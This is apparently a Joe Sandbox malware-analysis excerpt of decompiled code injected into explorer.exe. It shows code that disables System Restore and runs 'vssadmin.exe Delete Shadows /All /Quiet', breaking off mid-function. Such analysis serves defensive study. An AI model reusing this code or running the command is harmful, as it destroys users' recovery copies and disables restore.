                                                                                                                                                                                                                                                                                                      				signed int _v8;
                                                                                                                                                                                                                                                                                                      				signed int _v12;
                                                                                                                                                                                                                                                                                                      				signed int _t20;
                                                                                                                                                                                                                                                                                                      				void* _t25;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				if(_a4 != 0) {
                                                                                                                                                                                                                                                                                                      					_push(8);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x2c))))();
                                                                                                                                                                                                                                                                                                      					if(_a4 != 0xffffffff) {
                                                                                                                                                                                                                                                                                                      						_t20 = _a4;
                                                                                                                                                                                                                                                                                                      						asm("adc edx, 0x0");
                                                                                                                                                                                                                                                                                                      						_v12 =  ~(_t20 * 0x2710);
                                                                                                                                                                                                                                                                                                      						_v8 =  ~(_t20 * 0x2710 >> 0x20);
                                                                                                                                                                                                                                                                                                      					} else {
                                                                                                                                                                                                                                                                                                      						_v12 = 1;
                                                                                                                                                                                                                                                                                                      						_v8 = 0x80000000;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push( &_v12);
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_t25 =  *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x68))))(); // executed
                                                                                                                                                                                                                                                                                                      					return _t25;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return __eax;
                                                                                                                                                                                                                                                                                                      			}







                                                                                                                                                                                                                                                                                                      0x010f951a
                                                                                                                                                                                                                                                                                                      0x010f951e
                                                                                                                                                                                                                                                                                                      0x010f9520
                                                                                                                                                                                                                                                                                                      0x010f9525
                                                                                                                                                                                                                                                                                                      0x010f952e
                                                                                                                                                                                                                                                                                                      0x010f9534
                                                                                                                                                                                                                                                                                                      0x010f9546
                                                                                                                                                                                                                                                                                                      0x010f9552
                                                                                                                                                                                                                                                                                                      0x010f9557
                                                                                                                                                                                                                                                                                                      0x010f955a
                                                                                                                                                                                                                                                                                                      0x010f9536
                                                                                                                                                                                                                                                                                                      0x010f9536
                                                                                                                                                                                                                                                                                                      0x010f953d
                                                                                                                                                                                                                                                                                                      0x010f953d
                                                                                                                                                                                                                                                                                                      0x010f9560
                                                                                                                                                                                                                                                                                                      0x010f9561
                                                                                                                                                                                                                                                                                                      0x010f956b
                                                                                                                                                                                                                                                                                                      0x00000000
                                                                                                                                                                                                                                                                                                      0x010f956b
                                                                                                                                                                                                                                                                                                      0x00000000

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtDelayExecution.NTDLL(00000000,000000FF), ref: 010F956B
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: DelayExecution
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 1249177460-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: faaa0a4a529718b90292c096db1562b1a0ad346dc887d829ce17e7dbfa497cab
                                                                                                                                                                                                                                                                                                      • Instruction ID: b9ad6bec8e50a4f1977a3b13e72f5d271b1d89cbedcfff3f14f8249b33a735e2
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: faaa0a4a529718b90292c096db1562b1a0ad346dc887d829ce17e7dbfa497cab
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 6BF0907590420DEFDB04DFA8C84ABDC7BB8AB44714F1082ADEA899B6D1D6709AC4C781
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 100%
                                                                                                                                                                                                                                                                                                      			E010F7410(void* _a4, long _a8, long _a12, long _a16, intOrPtr* _a20) {
                                                                                                                                                                                                                                                                                                      				long _v8;
                                                                                                                                                                                                                                                                                                      				void* _v12;
                                                                                                                                                                                                                                                                                                      				long _t18;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_v12 = _a4;
                                                                                                                                                                                                                                                                                                      				_v8 = _a8;
                                                                                                                                                                                                                                                                                                      				E010F16E0();
                                                                                                                                                                                                                                                                                                      				_t18 = NtAllocateVirtualMemory(0xffffffff,  &_v12, 0,  &_v8, _a12, _a16); // executed
                                                                                                                                                                                                                                                                                                      				if(_t18 >= 0 && _a20 != 0) {
                                                                                                                                                                                                                                                                                                      					 *_a20 = _v8;
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return _v12;
                                                                                                                                                                                                                                                                                                      			}






                                                                                                                                                                                                                                                                                                      0x010f7419
                                                                                                                                                                                                                                                                                                      0x010f741f
                                                                                                                                                                                                                                                                                                      0x010f7436
                                                                                                                                                                                                                                                                                                      0x010f743e
                                                                                                                                                                                                                                                                                                      0x010f7442
                                                                                                                                                                                                                                                                                                      0x010f7450
                                                                                                                                                                                                                                                                                                      0x010f7450
                                                                                                                                                                                                                                                                                                      0x010f7458

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtAllocateVirtualMemory.NTDLL(000000FF,00000004,00000000,00000000,?,?,00000004,00000000), ref: 010F743E
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2167126740-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 3f8290304b47aa58d9563249fec8d1e5c079c974b773595932b619b927232cef
                                                                                                                                                                                                                                                                                                      • Instruction ID: d629420e22e9902f8e9f1952b93a003acd22dc8d602412811fc48b12600bc33e
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 3f8290304b47aa58d9563249fec8d1e5c079c974b773595932b619b927232cef
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: B5F0BD75600209EBDB04DF98D881ADEBBB4EF48350F148299A95497390DB30EA54CB91
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 79%
                                                                                                                                                                                                                                                                                                      			E01103BC0(void* __eflags) {
                                                                                                                                                                                                                                                                                                      				void* _t2;
                                                                                                                                                                                                                                                                                                      				void* _t4;
                                                                                                                                                                                                                                                                                                      				void* _t5;
                                                                                                                                                                                                                                                                                                      				void* _t10;
                                                                                                                                                                                                                                                                                                      				void* _t11;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_t2 = E010F16F0(__eflags, 0); // executed
                                                                                                                                                                                                                                                                                                      				if(_t2 != 0) {
                                                                                                                                                                                                                                                                                                      					_t4 = E01103A70(_t10, _t11); // executed
                                                                                                                                                                                                                                                                                                      					if(_t4 == 0) {
                                                                                                                                                                                                                                                                                                      						 *0x11203c4 = 1;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_t5 = E010FA760(E01103AE0, 0); // executed
                                                                                                                                                                                                                                                                                                      					if(_t5 != 0) {
                                                                                                                                                                                                                                                                                                      						E01102690(); // executed
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_push(0);
                                                                                                                                                                                                                                                                                                      					_push(0xffffffff);
                                                                                                                                                                                                                                                                                                      					 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x60))))(); // executed
                                                                                                                                                                                                                                                                                                      				}
                                                                                                                                                                                                                                                                                                      				return 0;
                                                                                                                                                                                                                                                                                                      			}








                                                                                                                                                                                                                                                                                                      0x01103bc5
                                                                                                                                                                                                                                                                                                      0x01103bcf
                                                                                                                                                                                                                                                                                                      0x01103bd1
                                                                                                                                                                                                                                                                                                      0x01103bd8
                                                                                                                                                                                                                                                                                                      0x01103bda
                                                                                                                                                                                                                                                                                                      0x01103bda
                                                                                                                                                                                                                                                                                                      0x01103beb
                                                                                                                                                                                                                                                                                                      0x01103bf5
                                                                                                                                                                                                                                                                                                      0x01103bf7
                                                                                                                                                                                                                                                                                                      0x01103bf7
                                                                                                                                                                                                                                                                                                      0x01103bfc
                                                                                                                                                                                                                                                                                                      0x01103bfe
                                                                                                                                                                                                                                                                                                      0x01103c08
                                                                                                                                                                                                                                                                                                      0x01103c08
                                                                                                                                                                                                                                                                                                      0x01103c0d

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                        • Part of subcall function 010F16F0: NtAllocateVirtualMemory.NTDLL(000000FF,0111FC04,00000000,00000310,00003000,00000004), ref: 010F175A
                                                                                                                                                                                                                                                                                                      • NtTerminateProcess.NTDLL(000000FF,00000000), ref: 01103C08
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: AllocateMemoryProcessTerminateVirtual
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 2292769835-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: 4cf49ec7633f11cfe4ca6342f3a377da66d2a02048f05bd7f63ffbf3deb98d4c
                                                                                                                                                                                                                                                                                                      • Instruction ID: 691f611153cb3d4675da0e2ac6c39947c79724d6f92e5b1cd133cde11e45dfad
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: 4cf49ec7633f11cfe4ca6342f3a377da66d2a02048f05bd7f63ffbf3deb98d4c
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: C7E04F75F643069AEA26BABA6D02B4635483B20698F040124EA35C51C1FBE2E0508276
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      C-Code - Quality: 75%
                                                                                                                                                                                                                                                                                                      			E010FB310(void* _a4) {
                                                                                                                                                                                                                                                                                                      				long _t9;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_push(_a4);
                                                                                                                                                                                                                                                                                                      				 *((intOrPtr*)( *((intOrPtr*)(E010F16E0() + 0x118))))();
                                                                                                                                                                                                                                                                                                      				E010F16E0();
                                                                                                                                                                                                                                                                                                      				_t9 = NtClose(_a4); // executed
                                                                                                                                                                                                                                                                                                      				return _t9;
                                                                                                                                                                                                                                                                                                      			}




                                                                                                                                                                                                                                                                                                      0x010fb316
                                                                                                                                                                                                                                                                                                      0x010fb322
                                                                                                                                                                                                                                                                                                      0x010fb328
                                                                                                                                                                                                                                                                                                      0x010fb32f
                                                                                                                                                                                                                                                                                                      0x010fb332

                                                                                                                                                                                                                                                                                                      APIs
                                                                                                                                                                                                                                                                                                      • NtClose.NTDLL(010FB3B6,?,010FB3B6,00000000), ref: 010FB32F
                                                                                                                                                                                                                                                                                                      Memory Dump Source
                                                                                                                                                                                                                                                                                                      • Source File: 00000003.00000002.346236241.00000000010F0000.00000040.00000001.sdmp, Offset: 010F0000, based on PE: true
                                                                                                                                                                                                                                                                                                      Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                                                      • Snapshot File: hcaresult_3_2_10f0000_explorer.jbxd
                                                                                                                                                                                                                                                                                                      Similarity
                                                                                                                                                                                                                                                                                                      • API ID: Close
                                                                                                                                                                                                                                                                                                      • String ID:
                                                                                                                                                                                                                                                                                                      • API String ID: 3535843008-0
                                                                                                                                                                                                                                                                                                      • Opcode ID: c1b8cf03962f489799d4dddb671800094ff5503957f65fa3eb7453bfd83d448a
                                                                                                                                                                                                                                                                                                      • Instruction ID: 96c85d0ab103f185f8b5baf629ecd8d20d8c5c6e5ab1b3a2658d00652ddfba53
                                                                                                                                                                                                                                                                                                      • Opcode Fuzzy Hash: c1b8cf03962f489799d4dddb671800094ff5503957f65fa3eb7453bfd83d448a
                                                                                                                                                                                                                                                                                                      • Instruction Fuzzy Hash: 09D002792042099FC604FFE8D885CDA37ED9F98680B048568B64C8B651CD35FD41C7D5
                                                                                                                                                                                                                                                                                                      Uniqueness

                                                                                                                                                                                                                                                                                                      Uniqueness Score: -1.00%

                                                                                                                                                                                                                                                                                                      Control-flow Graph

                                                                                                                                                                                                                                                                                                      • Executed
                                                                                                                                                                                                                                                                                                      • Not Executed
                                                                                                                                                                                                                                                                                                      control_flow_graph 457 1102690-11026a0 call 10f9240 460 11026a2 457->460 461 11026a7-1102733 call 10f1200 457->461 462 1102b49-1102b4c 460->462 465 1102735-110273c 461->465 466 1102759-1102a6f call 10fb230 461->466 467 1102747-110274e 465->467 471 1102a71-1102a8e call 10fb640 466->471 472 1102a96-1102b47 call 10f16e0 WinExec 466->472 467->466 469 1102750-1102753 467->469 475 1102757 469->475 476 1102a93 471->476 472->462 475->467 476->472
                                                                                                                                                                                                                                                                                                      C-Code - Quality: 82%
                                                                                                                                                                                                                                                                                                      			E01102690() {
                                                                                                                                                                                                                                                                                                      				int _v8;
                                                                                                                                                                                                                                                                                                      				char _v9;
                                                                                                                                                                                                                                                                                                      				char _v10;
                                                                                                                                                                                                                                                                                                      				char _v11;
                                                                                                                                                                                                                                                                                                      				char _v12;
                                                                                                                                                                                                                                                                                                      				char _v13;
                                                                                                                                                                                                                                                                                                      				char _v14;
                                                                                                                                                                                                                                                                                                      				char _v15;
                                                                                                                                                                                                                                                                                                      				char _v16;
                                                                                                                                                                                                                                                                                                      				char _v17;
                                                                                                                                                                                                                                                                                                      				char _v18;
                                                                                                                                                                                                                                                                                                      				char _v19;
                                                                                                                                                                                                                                                                                                      				char _v20;
                                                                                                                                                                                                                                                                                                      				char _v21;
                                                                                                                                                                                                                                                                                                      				char _v22;
                                                                                                                                                                                                                                                                                                      				char _v23;
                                                                                                                                                                                                                                                                                                      				char _v24;
                                                                                                                                                                                                                                                                                                      				char _v25;
                                                                                                                                                                                                                                                                                                      				char _v26;
                                                                                                                                                                                                                                                                                                      				char _v27;
                                                                                                                                                                                                                                                                                                      				char _v28;
                                                                                                                                                                                                                                                                                                      				char _v29;
                                                                                                                                                                                                                                                                                                      				char _v30;
                                                                                                                                                                                                                                                                                                      				char _v31;
                                                                                                                                                                                                                                                                                                      				char _v32;
                                                                                                                                                                                                                                                                                                      				char _v33;
                                                                                                                                                                                                                                                                                                      				char _v34;
                                                                                                                                                                                                                                                                                                      				char _v35;
                                                                                                                                                                                                                                                                                                      				char _v36;
                                                                                                                                                                                                                                                                                                      				char _v37;
                                                                                                                                                                                                                                                                                                      				char _v38;
                                                                                                                                                                                                                                                                                                      				char _v39;
                                                                                                                                                                                                                                                                                                      				char _v40;
                                                                                                                                                                                                                                                                                                      				char _v41;
                                                                                                                                                                                                                                                                                                      				char _v42;
                                                                                                                                                                                                                                                                                                      				char _v43;
                                                                                                                                                                                                                                                                                                      				char _v44;
                                                                                                                                                                                                                                                                                                      				char _v45;
                                                                                                                                                                                                                                                                                                      				char _v46;
                                                                                                                                                                                                                                                                                                      				char _v47;
                                                                                                                                                                                                                                                                                                      				char _v48;
                                                                                                                                                                                                                                                                                                      				intOrPtr _v52;
                                                                                                                                                                                                                                                                                                      				int _v56;
                                                                                                                                                                                                                                                                                                      				short _v58;
                                                                                                                                                                                                                                                                                                      				short _v60;
                                                                                                                                                                                                                                                                                                      				short _v62;
                                                                                                                                                                                                                                                                                                      				short _v64;
                                                                                                                                                                                                                                                                                                      				short _v66;
                                                                                                                                                                                                                                                                                                      				short _v68;
                                                                                                                                                                                                                                                                                                      				short _v70;
                                                                                                                                                                                                                                                                                                      				short _v72;
                                                                                                                                                                                                                                                                                                      				short _v74;
                                                                                                                                                                                                                                                                                                      				char _v76;
                                                                                                                                                                                                                                                                                                      				short _v80;
                                                                                                                                                                                                                                                                                                      				short _v82;
                                                                                                                                                                                                                                                                                                      				short _v84;
                                                                                                                                                                                                                                                                                                      				short _v86;
                                                                                                                                                                                                                                                                                                      				short _v88;
                                                                                                                                                                                                                                                                                                      				short _v90;
                                                                                                                                                                                                                                                                                                      				short _v92;
                                                                                                                                                                                                                                                                                                      				short _v94;
                                                                                                                                                                                                                                                                                                      				short _v96;
                                                                                                                                                                                                                                                                                                      				short _v98;
                                                                                                                                                                                                                                                                                                      				short _v100;
                                                                                                                                                                                                                                                                                                      				short _v102;
                                                                                                                                                                                                                                                                                                      				char _v104;
                                                                                                                                                                                                                                                                                                      				short _v108;
                                                                                                                                                                                                                                                                                                      				short _v110;
                                                                                                                                                                                                                                                                                                      				short _v112;
                                                                                                                                                                                                                                                                                                      				short _v114;
                                                                                                                                                                                                                                                                                                      				short _v116;
                                                                                                                                                                                                                                                                                                      				short _v118;
                                                                                                                                                                                                                                                                                                      				short _v120;
                                                                                                                                                                                                                                                                                                      				short _v122;
                                                                                                                                                                                                                                                                                                      				short _v124;
                                                                                                                                                                                                                                                                                                      				short _v126;
                                                                                                                                                                                                                                                                                                      				short _v128;
                                                                                                                                                                                                                                                                                                      				short _v130;
                                                                                                                                                                                                                                                                                                      				short _v132;
                                                                                                                                                                                                                                                                                                      				short _v134;
                                                                                                                                                                                                                                                                                                      				short _v136;
                                                                                                                                                                                                                                                                                                      				short _v138;
                                                                                                                                                                                                                                                                                                      				short _v140;
                                                                                                                                                                                                                                                                                                      				short _v142;
                                                                                                                                                                                                                                                                                                      				short _v144;
                                                                                                                                                                                                                                                                                                      				short _v146;
                                                                                                                                                                                                                                                                                                      				short _v148;
                                                                                                                                                                                                                                                                                                      				short _v150;
                                                                                                                                                                                                                                                                                                      				short _v152;
                                                                                                                                                                                                                                                                                                      				short _v154;
                                                                                                                                                                                                                                                                                                      				short _v156;
                                                                                                                                                                                                                                                                                                      				short _v158;
                                                                                                                                                                                                                                                                                                      				short _v160;
                                                                                                                                                                                                                                                                                                      				short _v162;
                                                                                                                                                                                                                                                                                                      				short _v164;
                                                                                                                                                                                                                                                                                                      				short _v166;
                                                                                                                                                                                                                                                                                                      				short _v168;
                                                                                                                                                                                                                                                                                                      				short _v170;
                                                                                                                                                                                                                                                                                                      				short _v172;
                                                                                                                                                                                                                                                                                                      				short _v174;
                                                                                                                                                                                                                                                                                                      				short _v176;
                                                                                                                                                                                                                                                                                                      				short _v178;
                                                                                                                                                                                                                                                                                                      				short _v180;
                                                                                                                                                                                                                                                                                                      				short _v182;
                                                                                                                                                                                                                                                                                                      				short _v184;
                                                                                                                                                                                                                                                                                                      				short _v186;
                                                                                                                                                                                                                                                                                                      				short _v188;
                                                                                                                                                                                                                                                                                                      				short _v190;
                                                                                                                                                                                                                                                                                                      				short _v192;
                                                                                                                                                                                                                                                                                                      				short _v194;
                                                                                                                                                                                                                                                                                                      				short _v196;
                                                                                                                                                                                                                                                                                                      				short _v198;
                                                                                                                                                                                                                                                                                                      				short _v200;
                                                                                                                                                                                                                                                                                                      				short _v202;
                                                                                                                                                                                                                                                                                                      				short _v204;
                                                                                                                                                                                                                                                                                                      				short _v206;
                                                                                                                                                                                                                                                                                                      				short _v208;
                                                                                                                                                                                                                                                                                                      				short _v210;
                                                                                                                                                                                                                                                                                                      				short _v212;
                                                                                                                                                                                                                                                                                                      				short _v214;
                                                                                                                                                                                                                                                                                                      				short _v216;
                                                                                                                                                                                                                                                                                                      				short _v218;
                                                                                                                                                                                                                                                                                                      				short _v220;
                                                                                                                                                                                                                                                                                                      				short _v222;
                                                                                                                                                                                                                                                                                                      				char _v224;
                                                                                                                                                                                                                                                                                                      				char _v228;
                                                                                                                                                                                                                                                                                                      				void* _t141;
                                                                                                                                                                                                                                                                                                      				intOrPtr _t147;
                                                                                                                                                                                                                                                                                                      				void* _t171;
                                                                                                                                                                                                                                                                                                      				int _t174;
                                                                                                                                                                                                                                                                                                      
                                                                                                                                                                                                                                                                                                      				_t141 = E010F9240(); // executed
                                                                                                                                                                                                                                                                                                      				if(_t141 != 0) {
                                                                                                                                                                                                                                                                                                      					_v104 = 0x73;
                                                                                                                                                                                                                                                                                                      					_v102 = 0x72;
                                                                                                                                                                                                                                                                                                      					_v100 = 0x63;
                                                                                                                                                                                                                                                                                                      					_v98 = 0x6c;
                                                                                                                                                                                                                                                                                                      					_v96 = 0x69;
                                                                                                                                                                                                                                                                                                      					_v94 = 0x65;
                                                                                                                                                                                                                                                                                                      					_v92 = 0x6e;
                                                                                                                                                                                                                                                                                                      					_v90 = 0x74;
                                                                                                                                                                                                                                                                                                      					_v88 = 0x2e;
                                                                                                                                                                                                                                                                                                      					_v86 = 0x64;
                                                                                                                                                                                                                                                                                                      					_v84 = 0x6c;
                                                                                                                                                                                                                                                                                                      					_v82 = 0x6c;
                                                                                                                                                                                                                                                                                                      					_v80 = 0;
                                                                                                                                                                                                                                                                                                      					_t147 = E010F1200( &_v104, 0, 0xb570bcaa); // executed
                                                                                                                                                                                                                                                                                                      					_v52 = _t147;
                                                                                                                                                                                                                                                                                                      					if(_v52 == 0) {
                                                                                                                                                                                                                                                                                                      						L7:
                                                                                                                                                                                                                                                                                                      						_v224 = 0x53;
                                                                                                                                                                                                                                                                                                      						_v222 = 0x4f;
                                                                                                                                                                                                                                                                                                      						_v220 = 0x46;
                                                                                                                                                                                                                                                                                                      						_v218 = 0x54;
                                                                                                                                                                                                                                                                                                      						_v216 = 0x57;
                                                                                                                                                                                                                                                                                                      						_v214 = 0x41;
                                                                                                                                                                                                                                                                                                      						_v212 = 0x52;
                                                                                                                                                                                                                                                                                                      						_v210 = 0x45;
                                                                                                                                                                                                                                                                                                      						_v208 = 0x5c;
                                                                                                                                                                                                                                                                                                      						_v206 = 0x4d;
                                                                                                                                                                                                                                                                                                      						_v204 = 0x69;
                                                                                                                                                                                                                                                                                                      						_v202 = 0x63;
                                                                                                                                                                                                                                                                                                      						_v200 = 0x72;
                                                                                                                                                                                                                                                                                                      						_v198 = 0x6f;
                                                                                                                                                                                                                                                                                                      						_v196 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v194 = 0x6f;
                                                                                                                                                                                                                                                                                                      						_v192 = 0x66;
                                                                                                                                                                                                                                                                                                      						_v190 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v188 = 0x5c;
                                                                                                                                                                                                                                                                                                      						_v186 = 0x57;
                                                                                                                                                                                                                                                                                                      						_v184 = 0x69;
                                                                                                                                                                                                                                                                                                      						_v182 = 0x6e;
                                                                                                                                                                                                                                                                                                      						_v180 = 0x64;
                                                                                                                                                                                                                                                                                                      						_v178 = 0x6f;
                                                                                                                                                                                                                                                                                                      						_v176 = 0x77;
                                                                                                                                                                                                                                                                                                      						_v174 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v172 = 0x20;
                                                                                                                                                                                                                                                                                                      						_v170 = 0x4e;
                                                                                                                                                                                                                                                                                                      						_v168 = 0x54;
                                                                                                                                                                                                                                                                                                      						_v166 = 0x5c;
                                                                                                                                                                                                                                                                                                      						_v164 = 0x43;
                                                                                                                                                                                                                                                                                                      						_v162 = 0x75;
                                                                                                                                                                                                                                                                                                      						_v160 = 0x72;
                                                                                                                                                                                                                                                                                                      						_v158 = 0x72;
                                                                                                                                                                                                                                                                                                      						_v156 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v154 = 0x6e;
                                                                                                                                                                                                                                                                                                      						_v152 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v150 = 0x56;
                                                                                                                                                                                                                                                                                                      						_v148 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v146 = 0x72;
                                                                                                                                                                                                                                                                                                      						_v144 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v142 = 0x69;
                                                                                                                                                                                                                                                                                                      						_v140 = 0x6f;
                                                                                                                                                                                                                                                                                                      						_v138 = 0x6e;
                                                                                                                                                                                                                                                                                                      						_v136 = 0x5c;
                                                                                                                                                                                                                                                                                                      						_v134 = 0x53;
                                                                                                                                                                                                                                                                                                      						_v132 = 0x79;
                                                                                                                                                                                                                                                                                                      						_v130 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v128 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v126 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v124 = 0x6d;
                                                                                                                                                                                                                                                                                                      						_v122 = 0x52;
                                                                                                                                                                                                                                                                                                      						_v120 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v118 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v116 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v114 = 0x6f;
                                                                                                                                                                                                                                                                                                      						_v112 = 0x72;
                                                                                                                                                                                                                                                                                                      						_v110 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v108 = 0;
                                                                                                                                                                                                                                                                                                      						_v76 = 0x44;
                                                                                                                                                                                                                                                                                                      						_v74 = 0x69;
                                                                                                                                                                                                                                                                                                      						_v72 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v70 = 0x61;
                                                                                                                                                                                                                                                                                                      						_v68 = 0x62;
                                                                                                                                                                                                                                                                                                      						_v66 = 0x6c;
                                                                                                                                                                                                                                                                                                      						_v64 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v62 = 0x53;
                                                                                                                                                                                                                                                                                                      						_v60 = 0x52;
                                                                                                                                                                                                                                                                                                      						_v58 = 0;
                                                                                                                                                                                                                                                                                                      						_v56 = 0;
                                                                                                                                                                                                                                                                                                      						_t171 = E010FB230(1,  &_v224, 0, 0x20006,  &_v56); // executed
                                                                                                                                                                                                                                                                                                      						if(_t171 != 0) {
                                                                                                                                                                                                                                                                                                      							_v228 = 1;
                                                                                                                                                                                                                                                                                                      							E010FB640(_v56,  &_v76,  &_v228, 4, 4); // executed
                                                                                                                                                                                                                                                                                                      						}
                                                                                                                                                                                                                                                                                                      						_v48 = 0x76;
                                                                                                                                                                                                                                                                                                      						_v47 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v46 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v45 = 0x61;
                                                                                                                                                                                                                                                                                                      						_v44 = 0x64;
                                                                                                                                                                                                                                                                                                      						_v43 = 0x6d;
                                                                                                                                                                                                                                                                                                      						_v42 = 0x69;
                                                                                                                                                                                                                                                                                                      						_v41 = 0x6e;
                                                                                                                                                                                                                                                                                                      						_v40 = 0x2e;
                                                                                                                                                                                                                                                                                                      						_v39 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v38 = 0x78;
                                                                                                                                                                                                                                                                                                      						_v37 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v36 = 0x20;
                                                                                                                                                                                                                                                                                                      						_v35 = 0x44;
                                                                                                                                                                                                                                                                                                      						_v34 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v33 = 0x6c;
                                                                                                                                                                                                                                                                                                      						_v32 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v31 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v30 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v29 = 0x20;
                                                                                                                                                                                                                                                                                                      						_v28 = 0x53;
                                                                                                                                                                                                                                                                                                      						_v27 = 0x68;
                                                                                                                                                                                                                                                                                                      						_v26 = 0x61;
                                                                                                                                                                                                                                                                                                      						_v25 = 0x64;
                                                                                                                                                                                                                                                                                                      						_v24 = 0x6f;
                                                                                                                                                                                                                                                                                                      						_v23 = 0x77;
                                                                                                                                                                                                                                                                                                      						_v22 = 0x73;
                                                                                                                                                                                                                                                                                                      						_v21 = 0x20;
                                                                                                                                                                                                                                                                                                      						_v20 = 0x2f;
                                                                                                                                                                                                                                                                                                      						_v19 = 0x41;
                                                                                                                                                                                                                                                                                                      						_v18 = 0x6c;
                                                                                                                                                                                                                                                                                                      						_v17 = 0x6c;
                                                                                                                                                                                                                                                                                                      						_v16 = 0x20;
                                                                                                                                                                                                                                                                                                      						_v15 = 0x2f;
                                                                                                                                                                                                                                                                                                      						_v14 = 0x51;
                                                                                                                                                                                                                                                                                                      						_v13 = 0x75;
                                                                                                                                                                                                                                                                                                      						_v12 = 0x69;
                                                                                                                                                                                                                                                                                                      						_v11 = 0x65;
                                                                                                                                                                                                                                                                                                      						_v10 = 0x74;
                                                                                                                                                                                                                                                                                                      						_v9 = 0;
                                                                                                                                                                                                                                                                                                      						_t139 =  &_v48; // 0x76
                                                                                                                                                                                                                                                                                                      						E010F16E0();
                                                                                                                                                                                                                                                                                                      						_t174 = WinExec(_t139, 0); // executed
                                                                                                                                                                                                                                                                                                      						return _t174;
                                                                                                                                                                                                                                                                                                      					}
                                                                                                                                                                                                                                                                                                      					_v8 = 0;
                                                                                                                                                                                                                                                                                                      					while(_v8 < 0x3e8) {
